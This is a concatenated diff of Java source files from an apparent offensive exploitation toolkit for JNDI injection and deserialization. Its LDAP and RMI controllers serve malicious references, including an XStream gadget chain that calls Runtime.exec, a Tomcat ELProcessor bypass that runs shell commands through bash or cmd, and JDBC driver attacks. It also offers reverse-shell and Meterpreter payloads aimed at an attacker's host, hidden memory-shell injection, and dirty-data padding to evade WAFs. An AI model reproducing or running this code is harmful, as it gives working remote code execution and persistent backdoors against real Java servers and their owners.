result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
} catch (IllegalArgumentException e) {
throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
}
switch (actionType) {
case list:
String file = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
break;
case rce:
String localJarFile = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
localJarPath = localJarFile;
break;
case upload:
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType;
try {
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
// webspherebypass 只支持这 4 种类型的 PayloadType
if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
}
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
switch (payloadType) {
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
break;
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
break;
case webspherememshell:
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
break;
}
break;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,99 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController{
private PayloadType type;
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>"+ params[0] +"</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
if (payloadType.equalsIgnoreCase("command")) {
type = PayloadType.valueOf("command");
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
} else {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,93 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/jdbc1"})
public class jdbcController1 implements LdapController {
private String payloadType;
private String factoryType;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
e.addAttribute("objectClass","javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory",factoryType);
e.addAttribute("javaReferenceAddress", "/0/url/"+JDBC_URL,"/1/driverClassName/" + driver,"/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
if (fourthIndex < 0) fourthIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,113 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import javax.naming.RefAddr;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Enumeration;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController {
private String payloadType;
private String factoryType;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
ref.add(new StringRefAddr("driverClassName", driver));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1"));
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll();
int posn = 0;
while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
posn ++;
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
if (fourthIndex < 0) fourthIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,47 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import java.util.Random;
@LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController {
private final String ip = Config.ip;
private final String rmiPort = String.valueOf(Config.rmiPort);
private String path;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("- Change LDAP to RMI ");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
base = base.replace('\\', '/');
int index = base.indexOf('/');
if (index != -1) {
String result = base.substring(index);
path = result;
}
}
}
@@ -0,0 +1,109 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import org.fusesource.jansi.Ansi;
import javax.naming.Reference;
import java.net.URL;
import java.util.Base64;
public class Basic {
static String payloadType;
//最后的反斜杠不能少
static String codebase = Config.codeBase;
static String[] params;
static GadgetType gadgetType;
public static Reference basic(String base) throws Exception {
System.out.println("- RMI Remote Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
String className = "";
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
className = EchoClass.getName();
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
className = Gadgets.createClassB(ClassName1);
}
if (payloadType.contains("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
}
if (payloadType.contains("msf")) {
className = Meterpreter.class.getName();
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(codebase), className1 + ".class");
Reference ref = new Reference("Foo", className1, turl.toString());
return ref;
}
}
@@ -0,0 +1,144 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
public class ELProcessor {
static String payloadType;
static String[] params;
static GadgetType gadgetType = null;
public static ResourceRef refTomcatBypass(String base) throws Exception {
// 切割参数
System.out.println("- JNDI RMI Local Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" PaylaodType: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Util.base64Decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
// 构造ref对象
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String code = null;
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
code = InjShell.injectClass(EchoClass);
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
code = Gadgets.createClassT(ClassName1);
}
if (payloadType.contains("command")) {
code = getExecCode(params[0]);
}
if (payloadType.contains("meterpreter")) {
code = injectMeterpreter();
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
String finalPayload = payloadTemplate.replace("{replacement}", code);
ref.add(new StringRefAddr("x", finalPayload));
return ref;
}
public static String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
Field WinclassBody = ctClazz.getDeclaredField("port");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, params[1]);
return InjShell.injectClass(ctClazz);
}
public static String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
}
}
@@ -0,0 +1,39 @@
package com.qi4l.JYso.controllers.utils;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class AESUtils {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private static final int KEY_SIZE = 16;
public static String decrypt(String ciphertext, String key) throws Exception {
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
byte[] ivBytes = new byte[KEY_SIZE];
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
byte[] keyBytes = getKeyBytes(key);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
private static byte[] getKeyBytes(String key) {
byte[] keyBytes = new byte[KEY_SIZE];
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
return keyBytes;
}
}
@@ -0,0 +1,280 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.*;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
public static CommandLine cmdLine;
public static Object PAYLOAD = null;
public static void ysoserial(String[] args) {
final Options options = getOptions();
CommandLineParser parser = new DefaultParser();
if (args.length == 1) {
printUsage(options);
System.exit(1);
}
try {
cmdLine = parser.parse(options, args);
} catch (Exception e) {
System.out.println("[*] Parameter input error, please use -h for more information");
printUsage(options);
System.exit(1);
}
if (cmdLine.hasOption("inherit")) {
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
}
if (cmdLine.hasOption("obscure")) {
Config.IS_OBSCURE = true;
}
if (cmdLine.hasOption("cmd-header")) {
Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header");
}
if (cmdLine.hasOption("url")) {
String url = cmdLine.getOptionValue("url");
if (!url.startsWith("/")) {
url = "/" + url;
}
Config.URL_PATTERN = url;
}
if (cmdLine.hasOption("define-class-from-parameter")) {
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
}
if (cmdLine.hasOption("file")) {
Config.WRITE_FILE = true;
Config.FILE = cmdLine.getOptionValue("file");
}
if (cmdLine.hasOption("base64")) {
Config.BASE64 = true;
}
if (cmdLine.hasOption("password")) {
Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
}
if (cmdLine.hasOption("godzilla-key")) {
Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key"));
}
if (cmdLine.hasOption("header-key")) {
Config.HEADER_KEY = cmdLine.getOptionValue("header-key");
}
if (cmdLine.hasOption("header-value")) {
Config.HEADER_VALUE = cmdLine.getOptionValue("header-value");
}
if (cmdLine.hasOption("no-com-sun")) {
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
}
if (cmdLine.hasOption("mozilla-class-loader")) {
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
}
if (cmdLine.hasOption("rhino")) {
Config.USING_RHINO = true;
}
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
Config.IS_UTF_Bypass = true;
}
if (cmdLine.hasOption("Hessian1")) {
Config.IS_Hessian1 = true;
}
if (cmdLine.hasOption("Hessian2")) {
Config.IS_Hessian2 = true;
}
if(cmdLine.hasOption("XStream")){
Config.IS_Xstream = true;
}
if(cmdLine.hasOption("Kryo")){
Config.IS_Kryo = true;
}
if(cmdLine.hasOption(("JYaml"))){
Config.IS_JYAML = true;
}
if(cmdLine.hasOption("JsonIO")){
Config.IS_JsonIO = true;
}
if(cmdLine.hasOption("YamlBeans")){
Config.IS_YamlBeans = true;
}
if(cmdLine.hasOption("Castor")){
Config.IS_Castor = true;
}
if(cmdLine.hasOption("Jackson")){
Config.IS_Jackson = true;
}
if (cmdLine.hasOption("gen-mem-shell")) {
Config.GEN_MEM_SHELL = true;
if (cmdLine.hasOption("gen-mem-shell-name")) {
Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name");
}
}
if (cmdLine.hasOption("hide-mem-shell")) {
Config.HIDE_MEMORY_SHELL = true;
if (cmdLine.hasOption("hide-type")) {
Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
}
}
final String payloadType = cmdLine.getOptionValue("gadget");
final String command = cmdLine.getOptionValue("parameters");
//载入gadget
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options);
System.exit(1);
return;
}
try {
//载入payload
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(command);
// 是否指定混淆
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
object = new DirtyDataWrapper(object, type, length).doWrap();
}
// 储存生成的 payload
PAYLOAD = object;
if (isFromExploit()) {
return;
}
OutputStream out;
if (Config.WRITE_FILE) {
out = new FileOutputStream(Config.FILE);
} else {
out = System.out;
}
Serializer.qiserialize(object, out,payloadType,command);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(1);
}
System.exit(0);
}
private static Options getOptions() {
Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization");
options.addOption("g", "gadget", true, "Java deserialization gadget");
options.addOption("p", "parameters", true, "Gadget parameters");
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAFtype: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
